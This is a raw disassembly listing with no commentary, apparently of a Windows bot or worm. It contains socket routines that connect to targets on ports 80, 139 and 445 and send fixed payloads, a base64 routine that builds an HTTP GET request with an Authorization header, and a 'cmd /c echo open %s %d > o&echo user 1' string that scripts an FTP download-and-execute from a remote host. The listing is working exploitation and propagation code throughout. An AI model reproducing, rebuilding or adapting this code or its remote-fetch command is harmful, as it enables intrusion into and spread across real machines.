		leave
		retn
sub_40BFC0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C005	proc near		; CODE XREF: sub_40C0DF+48p
					; .nsp0:0040C55Dp

var_104		= byte ptr -104h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 104h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_8]
		lea	ebx, [edi+41h]
		push	ebx
		mov	[ebp+var_4], ebx
		call	sub_417A2B
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jnz	short loc_40C02E
		xor	al, al
		jmp	loc_40C0DA
; ---------------------------------------------------------------------------


loc_40C02E:				; CODE XREF: sub_40C005+20j
		push	ebx
		push	0
		push	esi
		call	sub_417AA0
		push	2Fh
		push	offset dword_434144
		push	esi
		call	sub_418810
		push	8
		lea	eax, [esi+31h]
		push	offset dword_434174
		push	eax
		mov	[esi+2Fh], di
		call	sub_418810
		push	edi
		lea	ebx, [esi+3Bh]
		push	[ebp+arg_4]
		mov	[esi+39h], di
		push	ebx
		call	sub_418810
		push	6
		add	ebx, edi
		push	offset dword_4CC514
		push	ebx
		call	sub_418810
		mov	ebx, [ebp+arg_0]
		push	85h
		push	offset dword_4340BC
		push	ebx
		call	sub_40BFC0
		add	esp, 48h
		test	al, al
		jnz	short loc_40C096


loc_40C092:				; CODE XREF: sub_40C005+B5j
		xor	bl, bl
		jmp	short loc_40C0D1
; ---------------------------------------------------------------------------


loc_40C096:				; CODE XREF: sub_40C005+8Bj
		mov	edi, 100h
		push	0
		lea	eax, [ebp+var_104]
		push	edi
		push	eax
		push	ebx
		call	sub_40BF41
		push	[ebp+var_4]
		push	esi
		push	ebx
		call	sub_40BFC0
		add	esp, 1Ch
		test	al, al
		jz	short loc_40C092
		push	0
		lea	eax, [ebp+var_104]
		push	edi
		push	eax
		push	ebx
		call	sub_40BF41
		add	esp, 10h
		mov	bl, 1


loc_40C0D1:				; CODE XREF: sub_40C005+8Fj
		push	esi
		call	sub_4177C1
		pop	ecx
		mov	al, bl


loc_40C0DA:				; CODE XREF: sub_40C005+24j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40C005	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C0DF	proc near		; CODE XREF: .nsp0:0040C543p

var_20		= byte ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	0
		push	48h
		push	offset unk_434180
		push	[ebp+arg_0]
		call	dword_423208	; send
		cmp	eax, 48h
		jnz	short loc_40C11A
		push	0
		lea	eax, [ebp+var_20]
		push	20h
		push	eax
		push	[ebp+arg_0]
		call	sub_40BF41
		add	esp, 10h
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40C11A
		cmp	[ebp+var_20], 82h
		jz	short loc_40C11E


loc_40C11A:				; CODE XREF: sub_40C0DF+1Bj
					; sub_40C0DF+33j
		xor	al, al
		leave
		retn
; ---------------------------------------------------------------------------


loc_40C11E:				; CODE XREF: sub_40C0DF+39j
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40C005
		add	esp, 0Ch
		leave
		retn
sub_40C0DF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C131	proc near		; CODE XREF: sub_40C17D+2Dp

var_10		= qword	ptr -10h
var_8		= qword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_0]
		and	dword ptr [ebp+var_8+4], 0
		shl	eax, 3
		mov	dword ptr [ebp+var_8], eax
		fild	[ebp+var_8]
		fmul	dbl_423678
		call	sub_418C98
		and	dword ptr [ebp+var_8+4], 0
		mov	dword ptr [ebp+var_8], eax
		fild	[ebp+var_8]
		push	ecx
		push	ecx		; double
		fst	[ebp+var_8]
		fmul	dbl_423670
		fstp	[esp+10h+var_10]
		call	sub_418B79
		fadd	st, st
		pop	ecx
		pop	ecx
		fadd	[ebp+var_8]
		call	sub_418C98
		inc	eax
		leave
		retn
sub_40C131	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C17D	proc near		; CODE XREF: sub_40C31F+24p

var_40		= qword	ptr -40h

		mov	eax, offset loc_4223CB
		call	sub_419164
		sub	esp, 2Ch
		mov	al, [ebp+13h]
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		lea	ecx, [ebp-38h]
		push	edi
		mov	[ebp-20h], edi
		mov	[ebp-38h], al
		call	sub_40C7BE
		push	1
		pop	ebx
		push	dword ptr [ebp+10h]
		mov	[ebp-4], ebx
		call	sub_40C131
		cmp	[ebp-2Ch], eax
		pop	ecx
		jnb	short loc_40C1BF
		push	edi
		push	eax
		lea	ecx, [ebp-38h]
		call	sub_40C739


loc_40C1BF:				; CODE XREF: sub_40C17D+36j
		cmp	[ebp+10h], edi
		mov	[ebp-18h], edi
		jbe	loc_40C2DC
		mov	ebx, [ebp+10h]


loc_40C1CE:				; CODE XREF: sub_40C17D+156j
		cmp	dword ptr [ebp+10h], 3
		jb	short loc_40C1D8
		push	3
		jmp	short loc_40C1EA
; ---------------------------------------------------------------------------


loc_40C1D8:				; CODE XREF: sub_40C17D+55j
		cmp	dword ptr [ebp+10h], 2
		jnz	short loc_40C1E2
		push	2
		jmp	short loc_40C1EA
; ---------------------------------------------------------------------------


loc_40C1E2:				; CODE XREF: sub_40C17D+5Fj
		cmp	dword ptr [ebp+10h], 1
		jnz	short loc_40C1EB
		push	1


loc_40C1EA:				; CODE XREF: sub_40C17D+59j
					; sub_40C17D+63j
		pop	ebx


loc_40C1EB:				; CODE XREF: sub_40C17D+69j
		mov	[ebp-28h], ebx
		mov	[ebp-24h], edi
		fild	qword ptr [ebp-28h]
		push	ecx
		push	ecx		; double
		fmul	dbl_423688
		fstp	[esp+40h+var_40]
		call	sub_418CBF
		pop	ecx
		pop	ecx
		call	sub_418C98
		cmp	ebx, edi
		mov	[ebp-1Ch], eax
		jbe	short loc_40C22A
		mov	esi, [ebp+0Ch]
		mov	ecx, ebx
		mov	edx, ecx
		lea	edi, [ebp-10h]
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		xor	edi, edi


loc_40C22A:				; CODE XREF: sub_40C17D+93j
		mov	cl, [ebp-10h]
		mov	dl, [ebp-10h]
		sar	cl, 2
		and	cl, 3Fh
		and	dl, 3
		mov	[ebp-14h], cl
		mov	cl, [ebp-0Fh]
		sar	cl, 4
		and	cl, 0Fh
		add	[ebp+0Ch], ebx
		shl	dl, 4
		add	cl, dl
		mov	dl, [ebp-0Fh]
		mov	[ebp-13h], cl
		mov	cl, [ebp-0Eh]
		sar	cl, 6
		and	dl, 0Fh
		sub	[ebp+10h], ebx
		and	cl, 3
		xor	esi, esi
		shl	dl, 2
		add	cl, dl
		mov	[ebp-12h], cl
		mov	cl, [ebp-0Eh]
		and	cl, 3Fh
		cmp	eax, edi
		mov	[ebp-11h], cl
		jbe	short loc_40C298
		add	[ebp-18h], eax


loc_40C27C:				; CODE XREF: sub_40C17D+119j
		movsx	eax, byte ptr [ebp+esi-14h]
		lea	ecx, [ebp-38h]
		mov	al, byte_4341CC[eax]
		push	eax
		push	1
		call	sub_40C5BB
		inc	esi
		cmp	esi, [ebp-1Ch]
		jb	short loc_40C27C


loc_40C298:				; CODE XREF: sub_40C17D+FAj
		cmp	dword ptr [ebp-18h], 48h
		jb	short loc_40C2B6
		push	dword ptr [ebp+14h]
		call	sub_4176F0
		pop	ecx
		push	eax
		lea	ecx, [ebp-38h]
		push	dword ptr [ebp+14h]
		call	sub_40C614
		mov	[ebp-18h], edi


loc_40C2B6:				; CODE XREF: sub_40C17D+11Fj
		push	4
		pop	esi
		cmp	[ebp-1Ch], esi
		jnb	short loc_40C2D0
		sub	esi, [ebp-1Ch]


loc_40C2C1:				; CODE XREF: sub_40C17D+151j
		push	3Dh
		push	1
		lea	ecx, [ebp-38h]
		call	sub_40C5BB
		dec	esi
		jnz	short loc_40C2C1


loc_40C2D0:				; CODE XREF: sub_40C17D+13Fj
		cmp	[ebp+10h], edi
		ja	loc_40C1CE
		push	1
		pop	ebx


loc_40C2DC:				; CODE XREF: sub_40C17D+48j
		mov	esi, [ebp+8]
		mov	al, [ebp-38h]
		push	edi
		mov	ecx, esi
		mov	[esi], al
		call	sub_40C7BE
		push	dword_423680
		lea	eax, [ebp-38h]
		mov	ecx, esi
		push	edi
		push	eax
		call	sub_40C66B
		mov	[ebp-20h], ebx
		and	byte ptr [ebp-4], 0
		push	ebx
		lea	ecx, [ebp-38h]
		call	sub_40C7BE
		mov	ecx, [ebp-0Ch]
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn
sub_40C17D	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C31F	proc near		; CODE XREF: .nsp0:0040C526p
		mov	eax, offset loc_4223E8
		call	sub_419164
		sub	esp, 10h
		push	ebx
		push	esi
		push	edi
		push	offset byte_43B9B8
		lea	eax, [ebp-1Ch]
		push	dword ptr [ebp+10h]
		xor	ebx, ebx
		mov	[ebp-4], ebx
		push	dword ptr [ebp+0Ch]
		push	eax
		call	sub_40C17D
		mov	eax, [ebp+1Ch]
		mov	ecx, [ebp-14h]
		mov	byte ptr [ebp-4], 1
		lea	esi, [ecx+eax+36h]
		push	esi
		call	sub_417A2B
		mov	edi, eax
		add	esp, 14h
		cmp	edi, ebx
		jnz	short loc_40C369
		xor	bl, bl
		jmp	short loc_40C3AD
; ---------------------------------------------------------------------------


loc_40C369:				; CODE XREF: sub_40C31F+44j
		mov	ecx, [ebp-18h]
		mov	eax, offset dword_423690
		cmp	ecx, ebx
		jnz	short loc_40C377
		mov	ecx, eax


loc_40C377:				; CODE XREF: sub_40C31F+54j
		cmp	[ebp+18h], ebx
		jz	short loc_40C37F
		mov	eax, [ebp+18h]


loc_40C37F:				; CODE XREF: sub_40C31F+5Bj
		push	ecx
		push	eax
		push	offset aGetHttp1_0Host ; "GET /	HTTP/1.0\r\nHost: %s\r\nAuthorization"...
		push	esi
		push	edi
		call	sub_417E90
		add	esp, 14h
		push	ebx
		push	esi
		push	edi
		push	dword ptr [ebp+8]
		call	dword_4C984C	; send
		cmp	eax, esi
		jz	short loc_40C3A4
		xor	bl, bl
		jmp	short loc_40C3A6
; ---------------------------------------------------------------------------


loc_40C3A4:				; CODE XREF: sub_40C31F+7Fj
		mov	bl, 1


loc_40C3A6:				; CODE XREF: sub_40C31F+83j
		push	edi
		call	sub_4177C1
		pop	ecx


loc_40C3AD:				; CODE XREF: sub_40C31F+48j
		and	byte ptr [ebp-4], 0
		push	1
		lea	ecx, [ebp-1Ch]
		call	sub_40C7BE
		or	dword ptr [ebp-4], 0FFFFFFFFh
		push	1
		lea	ecx, [ebp+14h]
		call	sub_40C7BE
		mov	ecx, [ebp-0Ch]
		pop	edi
		mov	al, bl
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn
sub_40C31F	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 424h
		and	byte ptr [ebp-424h], 0
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0FFh
		xor	eax, eax
		lea	edi, [ebp-423h]
		push	8Fh
		rep stosd
		stosw
		stosb
		lea	eax, [ebp-424h]
		push	offset sub_434378
		push	eax
		call	sub_418810
		add	esp, 0Ch
		mov	eax, offset byte_4250E4
		push	eax
		push	eax
		movzx	eax, word ptr dword_4C9540
		push	eax
		push	dword ptr [ebp+8]
		call	sub_409D1D
		pop	ecx
		push	eax
		push	offset aCmdCEchoOpenSD ; "cmd /c echo open %s %d > o&echo user 1 "...
		lea	eax, [ebp-395h]
		push	400h
		push	eax
		call	sub_417E90
		add	eax, 90h
		push	eax
		lea	eax, [ebp-424h]
		push	eax
		push	164h
		lea	eax, [ebp-24h]
		push	offset sub_434210
		push	eax
		call	sub_40BBDB
		mov	ecx, [eax]
		xor	esi, esi
		mov	[ebp-8], ecx
		add	esp, 30h
		mov	eax, [eax+4]
		cmp	eax, esi
		mov	[ebp-4], eax
		jnz	short loc_40C482
		xor	eax, eax
		jmp	loc_40C5AE
; ---------------------------------------------------------------------------


loc_40C482:				; CODE XREF: .nsp0:0040C479j
		mov	[ebp-0Ch], esi


loc_40C485:				; CODE XREF: .nsp0:0040C585j
		test	esi, esi
		jnz	loc_40C58B
		push	6
		push	1
		push	2
		call	dword_423204	; socket
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_40C573
		xor	eax, eax
		lea	edi, [ebp-1Ah]
		stosd
		push	dword ptr [ebp+0A8h]
		stosd
		stosd
		stosw
		mov	word ptr [ebp-1Ch], 2
		call	dword_4C9800	; htons
		mov	[ebp-1Ah], ax
		lea	eax, [ebp+0Ch]
		push	eax
		call	dword_4C983C	; inet_addr
		mov	[ebp-18h], eax
		lea	eax, [ebp-1Ch]
		push	10h
		push	eax
		push	ebx
		call	dword_4C97AC	; connect
		cmp	eax, 0FFFFFFFFh
		jz	loc_40C568
		cmp	dword ptr [ebp+0A8h], 50h
		jnz	short loc_40C530
		mov	al, [ebp+0C3h]
		sub	esp, 10h
		mov	esi, esp
		mov	[ebp-20h], esp
		push	0
		mov	ecx, esi
		mov	[esi], al
		call	sub_40C7BE
		lea	eax, [ebp+0Ch]
		push	eax
		call	sub_4176F0
		pop	ecx
		push	eax
		lea	eax, [ebp+0Ch]
		push	eax
		mov	ecx, esi
		call	sub_40C7FA
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8]
		push	ebx
		call	sub_40C31F
		add	esp, 1Ch
		jmp	short loc_40C565
; ---------------------------------------------------------------------------


loc_40C530:				; CODE XREF: .nsp0:0040C4EEj
		cmp	dword ptr [ebp+0A8h], 8Bh
		jnz	short loc_40C54A
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8]
		push	ebx
		call	sub_40C0DF
		jmp	short loc_40C562
; ---------------------------------------------------------------------------


loc_40C54A:				; CODE XREF: .nsp0:0040C53Aj
		cmp	dword ptr [ebp+0A8h], 1BDh
		jnz	short loc_40C568
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8]
		push	ebx
		call	sub_40C005


loc_40C562:				; CODE XREF: .nsp0:0040C548j
		add	esp, 0Ch


loc_40C565:				; CODE XREF: .nsp0:0040C52Ej
		movzx	esi, al


loc_40C568:				; CODE XREF: .nsp0:0040C4E1j
					; .nsp0:0040C554j
		push	ebx
		call	dword_4C9894	; closesocket
		test	esi, esi
		jnz	short loc_40C57E


loc_40C573:				; CODE XREF: .nsp0:0040C49Ej
		push	3E8h
		call	dword_423078	; Sleep


loc_40C57E:				; CODE XREF: .nsp0:0040C571j
		inc	dword ptr [ebp-0Ch]
		cmp	dword ptr [ebp-0Ch], 2
		jl	loc_40C485


loc_40C58B:				; CODE XREF: .nsp0:0040C487j
		lea	ecx, [ebp-8]
		call	sub_40BA00
		test	esi, esi
		jz	short loc_40C5AC
		mov	eax, [ebp+0B0h]
		shl	eax, 6
		inc	dword_433878[eax]
		lea	eax, dword_433878[eax]


loc_40C5AC:				; CODE XREF: .nsp0:0040C595j
		mov	eax, esi


loc_40C5AE:				; CODE XREF: .nsp0:0040C47Dj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4223AC


loc_40C5B3:				; CODE XREF: sub_4223AC+3j
					; .nsp0:004223C5j ...
		push	1
		call	sub_40C7BE
		retn
; END OF FUNCTION CHUNK	FOR sub_4223AC

; =============== S U B	R O U T	I N E =======================================



sub_40C5BB	proc near		; CODE XREF: sub_40C17D+110p
					; sub_40C17D+14Bp

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		mov	eax, dword_423680
		push	ebx
		mov	ebx, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	edi
		sub	eax, [esi+8]
		cmp	eax, ebx
		ja	short loc_40C5D5
		call	sub_421F10


loc_40C5D5:				; CODE XREF: sub_40C5BB+13j
		test	ebx, ebx
		jbe	short loc_40C60C
		mov	edi, ebx
		push	0
		add	edi, [esi+8]
		mov	ecx, esi
		push	edi
		call	sub_40C739
		test	al, al
		jz	short loc_40C60C
		movsx	eax, [esp+0Ch+arg_4]
		push	ebx
		push	eax
		mov	eax, [esi+4]
		add	eax, [esi+8]
		push	eax
		call	sub_417AA0
		mov	eax, [esi+4]
		add	esp, 0Ch
		mov	[esi+8], edi
		and	byte ptr [eax+edi], 0


loc_40C60C:				; CODE XREF: sub_40C5BB+1Cj
					; sub_40C5BB+2Fj
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_40C5BB	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C614	proc near		; CODE XREF: sub_40C17D+131p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, dword_423680
		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	esi
		mov	esi, ecx
		push	edi
		sub	eax, [esi+8]
		cmp	eax, ebx
		ja	short loc_40C62E
		call	sub_421F10


loc_40C62E:				; CODE XREF: sub_40C614+13j
		test	ebx, ebx
		jbe	short loc_40C663
		mov	edi, ebx
		push	0
		add	edi, [esi+8]
		mov	ecx, esi
		push	edi
		call	sub_40C739
		test	al, al
		jz	short loc_40C663
		mov	eax, [esi+8]
		push	ebx
		push	[esp+10h+arg_0]
		add	eax, [esi+4]
		push	eax
		call	sub_418810
		mov	eax, [esi+4]
		add	esp, 0Ch
		mov	[esi+8], edi
		and	byte ptr [edi+eax], 0


loc_40C663:				; CODE XREF: sub_40C614+1Cj
					; sub_40C614+2Fj
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_40C614	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C66B	proc near		; CODE XREF: sub_40C17D+17Cp
					; sub_421F6A+46p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		mov	edi, ecx
		cmp	[ebx+8], eax
		jnb	short loc_40C683
		call	sub_42213C


loc_40C683:				; CODE XREF: sub_40C66B+11j
		mov	eax, [ebx+8]
		mov	ecx, [ebp+arg_4]
		mov	esi, eax
		sub	esi, ecx
		cmp	[ebp+arg_8], esi
		jnb	short loc_40C695
		mov	esi, [ebp+arg_8]


loc_40C695:				; CODE XREF: sub_40C66B+25j
		cmp	edi, ebx
		jnz	short loc_40C6B7
		push	dword_423680
		add	esi, ecx
		mov	ecx, edi
		push	esi
		call	sub_40C82F
		push	[ebp+arg_4]
		mov	ecx, edi
		push	0
		call	sub_40C82F
		jmp	short loc_40C730
; ---------------------------------------------------------------------------


loc_40C6B7:				; CODE XREF: sub_40C66B+2Cj
		test	esi, esi
		jbe	short loc_40C6FA
		cmp	esi, eax
		jnz	short loc_40C6FA
		mov	eax, [ebx+4]
		test	eax, eax
		jnz	short loc_40C6CB
		mov	eax, offset dword_423690


loc_40C6CB:				; CODE XREF: sub_40C66B+59j
		cmp	byte ptr [eax-1], 0FEh
		jnb	short loc_40C6FA
		push	1
		mov	ecx, edi
		call	sub_40C7BE
		mov	eax, [ebx+4]
		test	eax, eax
		jnz	short loc_40C6E6
		mov	eax, offset dword_423690


loc_40C6E6:				; CODE XREF: sub_40C66B+74j
		mov	[edi+4], eax
		mov	ecx, [ebx+8]
		mov	[edi+8], ecx
		mov	ecx, [ebx+0Ch]
		mov	[edi+0Ch], ecx
		inc	byte ptr [eax-1]
		jmp	short loc_40C730
; ---------------------------------------------------------------------------


loc_40C6FA:				; CODE XREF: sub_40C66B+4Ej
					; sub_40C66B+52j ...
		push	1
		push	esi
		mov	ecx, edi
		call	sub_40C739
		test	al, al
		jz	short loc_40C730
		mov	eax, [ebx+4]
		test	eax, eax
		jnz	short loc_40C714
		mov	eax, offset dword_423690


loc_40C714:				; CODE XREF: sub_40C66B+A2j
		mov	ecx, [ebp+arg_4]
		push	esi
		add	eax, ecx
		push	eax
		push	dword ptr [edi+4]
		call	sub_418810
		mov	eax, [edi+4]
		add	esp, 0Ch
		mov	[edi+8], esi
		and	byte ptr [eax+esi], 0


loc_40C730:				; CODE XREF: sub_40C66B+4Aj
					; sub_40C66B+8Dj ...
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn	0Ch
sub_40C66B	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C739	proc near		; CODE XREF: sub_40C17D+3Dp
					; sub_40C5BB+28p ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		cmp	edi, 0FFFFFFFDh
		jbe	short loc_40C74B
		call	sub_421F10


loc_40C74B:				; CODE XREF: sub_40C739+Bj
		mov	ecx, [esi+4]
		xor	edx, edx
		cmp	ecx, edx
		jz	short loc_40C774
		mov	al, [ecx-1]
		cmp	al, dl
		jz	short loc_40C774
		cmp	al, 0FFh
		jz	short loc_40C774
		cmp	edi, edx
		jnz	short loc_40C7AF
		dec	al
		push	edx
		mov	[ecx-1], al


loc_40C769:				; CODE XREF: sub_40C739+47j
		mov	ecx, esi
		call	sub_40C7BE


loc_40C770:				; CODE XREF: sub_40C739+4Bj
					; sub_40C739+52j
		xor	al, al
		jmp	short loc_40C7B9
; ---------------------------------------------------------------------------


loc_40C774:				; CODE XREF: sub_40C739+19j
					; sub_40C739+20j ...
		cmp	edi, edx
		jnz	short loc_40C78D
		cmp	[esp+8+arg_4], dl
		jz	short loc_40C782
		push	1
		jmp	short loc_40C769
; ---------------------------------------------------------------------------


loc_40C782:				; CODE XREF: sub_40C739+43j
		cmp	ecx, edx
		jz	short loc_40C770
		mov	[esi+8], edx
		mov	[ecx], dl
		jmp	short loc_40C770
; ---------------------------------------------------------------------------


loc_40C78D:				; CODE XREF: sub_40C739+3Dj
		cmp	[esp+8+arg_4], dl
		jz	short loc_40C7AA
		mov	eax, [esi+0Ch]
		cmp	eax, 1Fh
		ja	short loc_40C79F
		cmp	eax, edi
		jnb	short loc_40C7B7


loc_40C79F:				; CODE XREF: sub_40C739+60j
		push	1
		mov	ecx, esi
		call	sub_40C7BE
		jmp	short loc_40C7AF
; ---------------------------------------------------------------------------


loc_40C7AA:				; CODE XREF: sub_40C739+58j
		cmp	[esi+0Ch], edi
		jnb	short loc_40C7B7


loc_40C7AF:				; CODE XREF: sub_40C739+28j
					; sub_40C739+6Fj
		push	edi
		mov	ecx, esi
		call	sub_40C896


loc_40C7B7:				; CODE XREF: sub_40C739+64j
					; sub_40C739+74j
		mov	al, 1


loc_40C7B9:				; CODE XREF: sub_40C739+39j
		pop	edi
		pop	esi
		retn	8
sub_40C739	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C7BE	proc near		; CODE XREF: sub_40C17D+1Fp
					; sub_40C17D+16Ap ...

arg_0		= byte ptr  4

		cmp	[esp+arg_0], 0
		push	esi
		mov	esi, ecx
		jz	short loc_40C7EA
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_40C7EA
		lea	ecx, [eax-1]
		mov	al, [eax-1]
		test	al, al
		jz	short loc_40C7E3
		cmp	al, 0FFh
		jz	short loc_40C7E3
		dec	al
		mov	[ecx], al
		jmp	short loc_40C7EA
; ---------------------------------------------------------------------------


loc_40C7E3:				; CODE XREF: sub_40C7BE+19j
					; sub_40C7BE+1Dj
		push	ecx
		call	sub_419183
		pop	ecx


loc_40C7EA:				; CODE XREF: sub_40C7BE+8j
					; sub_40C7BE+Fj ...
		and	dword ptr [esi+4], 0
		and	dword ptr [esi+8], 0
		and	dword ptr [esi+0Ch], 0
		pop	esi
		retn	4
sub_40C7BE	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C7FA	proc near		; CODE XREF: .nsp0:0040C51Ap
					; sub_40C953+28p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		push	1
		mov	esi, ecx
		push	edi
		call	sub_40C739
		test	al, al
		jz	short loc_40C828
		push	edi
		push	[esp+0Ch+arg_0]
		push	dword ptr [esi+4]
		call	sub_418810
		mov	eax, [esi+4]
		add	esp, 0Ch
		mov	[esi+8], edi
		and	byte ptr [eax+edi], 0


loc_40C828:				; CODE XREF: sub_40C7FA+12j
		mov	eax, esi
		pop	edi
		pop	esi
		retn	8
sub_40C7FA	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C82F	proc near		; CODE XREF: sub_40C66B+39p
					; sub_40C66B+45p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		mov	edi, ecx
		cmp	[edi+8], esi
		jnb	short loc_40C842
		call	sub_42213C


loc_40C842:				; CODE XREF: sub_40C82F+Cj
		mov	ecx, edi
		call	sub_40C953
		mov	eax, [edi+8]
		mov	ebx, [esp+0Ch+arg_4]
		sub	eax, esi
		cmp	eax, ebx
		jnb	short loc_40C858
		mov	ebx, eax


loc_40C858:				; CODE XREF: sub_40C82F+25j
		test	ebx, ebx
		jbe	short loc_40C88E
		mov	ecx, [edi+4]
		sub	eax, ebx
		add	ecx, esi
		push	eax
		lea	eax, [ecx+ebx]
		push	eax
		push	ecx
		call	sub_419190
		mov	esi, [edi+8]
		add	esp, 0Ch
		sub	esi, ebx
		mov	ecx, edi
		push	0
		push	esi
		call	sub_40C739
		test	al, al
		jz	short loc_40C88E
		mov	eax, [edi+4]
		mov	[edi+8], esi
		and	byte ptr [esi+eax], 0


loc_40C88E:				; CODE XREF: sub_40C82F+2Bj
					; sub_40C82F+53j
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_40C82F	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C896	proc near		; CODE XREF: sub_40C739+79p
		mov	eax, offset loc_4223F4
		call	sub_419164
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+8]
		or	edi, 1Fh
		mov	esi, ecx
		cmp	edi, 0FFFFFFFDh
		mov	[ebp-10h], esp
		mov	[ebp-14h], esi
		jbe	short loc_40C8BC
		mov	edi, [ebp+8]


loc_40C8BC:				; CODE XREF: sub_40C896+21j
		and	dword ptr [ebp-4], 0
		lea	eax, [edi+2]
		test	eax, eax
		jge	short loc_40C8C9
		xor	eax, eax


loc_40C8C9:				; CODE XREF: sub_40C896+2Fj
		push	eax
		call	sub_4194C5
		pop	ecx
		mov	[ebp+8], eax
		jmp	short loc_40C8FA
; ---------------------------------------------------------------------------


loc_40C8D5:				; DATA XREF: .nsp0:00423F9Co
		mov	eax, [ebp+8]
		mov	[ebp-18h], eax
		add	eax, 2
		test	eax, eax
		jge	short loc_40C8E4
		xor	eax, eax


loc_40C8E4:				; CODE XREF: sub_40C896+4Aj
		push	eax
		call	sub_4194C5
		mov	[ebp+8], eax
		pop	ecx
		mov	eax, offset loc_40C8F4
		retn
; ---------------------------------------------------------------------------


loc_40C8F4:				; DATA XREF: sub_40C896+58o
		mov	esi, [ebp-14h]
		mov	edi, [ebp-18h]


loc_40C8FA:				; CODE XREF: sub_40C896+3Dj
		mov	eax, [esi+8]
		test	eax, eax
		jbe	short loc_40C918
		cmp	eax, edi
		jbe	short loc_40C907
		mov	eax, edi


loc_40C907:				; CODE XREF: sub_40C896+6Dj
		push	eax
		mov	eax, [ebp+8]
		push	dword ptr [esi+4]
		inc	eax
		push	eax
		call	sub_418810
		add	esp, 0Ch


loc_40C918:				; CODE XREF: sub_40C896+69j
		mov	ebx, [esi+8]
		push	1
		mov	ecx, esi
		call	sub_40C7BE
		mov	eax, [ebp+8]
		inc	eax
		mov	[esi+4], eax
		and	byte ptr [eax-1], 0
		cmp	ebx, edi
		mov	[esi+0Ch], edi
		ja	short loc_40C938
		mov	edi, ebx


loc_40C938:				; CODE XREF: sub_40C896+9Ej
		mov	eax, [esi+4]
		mov	ecx, [ebp-0Ch]
		mov	[esi+8], edi
		and	byte ptr [eax+edi], 0
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		pop	ebx
		leave
		retn	4
sub_40C896	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C953	proc near		; CODE XREF: sub_40C82F+15p
		push	esi
		push	edi
		mov	edi, ecx
		mov	esi, [edi+4]
		test	esi, esi
		jz	short loc_40C980
		mov	al, [esi-1]
		test	al, al
		jz	short loc_40C980
		cmp	al, 0FFh
		jz	short loc_40C980
		push	1
		call	sub_40C7BE
		push	esi
		call	sub_4176F0
		pop	ecx
		push	eax
		push	esi
		mov	ecx, edi
		call	sub_40C7FA


loc_40C980:				; CODE XREF: sub_40C953+9j
					; sub_40C953+10j ...
		pop	edi
		pop	esi
		retn
sub_40C953	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C983	proc near		; DATA XREF: .nsp0:00425008o
		test	byte_4D89DC, 1
		jnz	short loc_40C993
		or	byte_4D89DC, 1


loc_40C993:				; CODE XREF: sub_40C983+7j
		jmp	$+5
		push	offset nullsub_1
		call	sub_419540
		pop	ecx
		retn
sub_40C983	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C9A4	proc near		; DATA XREF: .nsp0:0042500Co
		jmp	$+5
sub_40C9A4	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



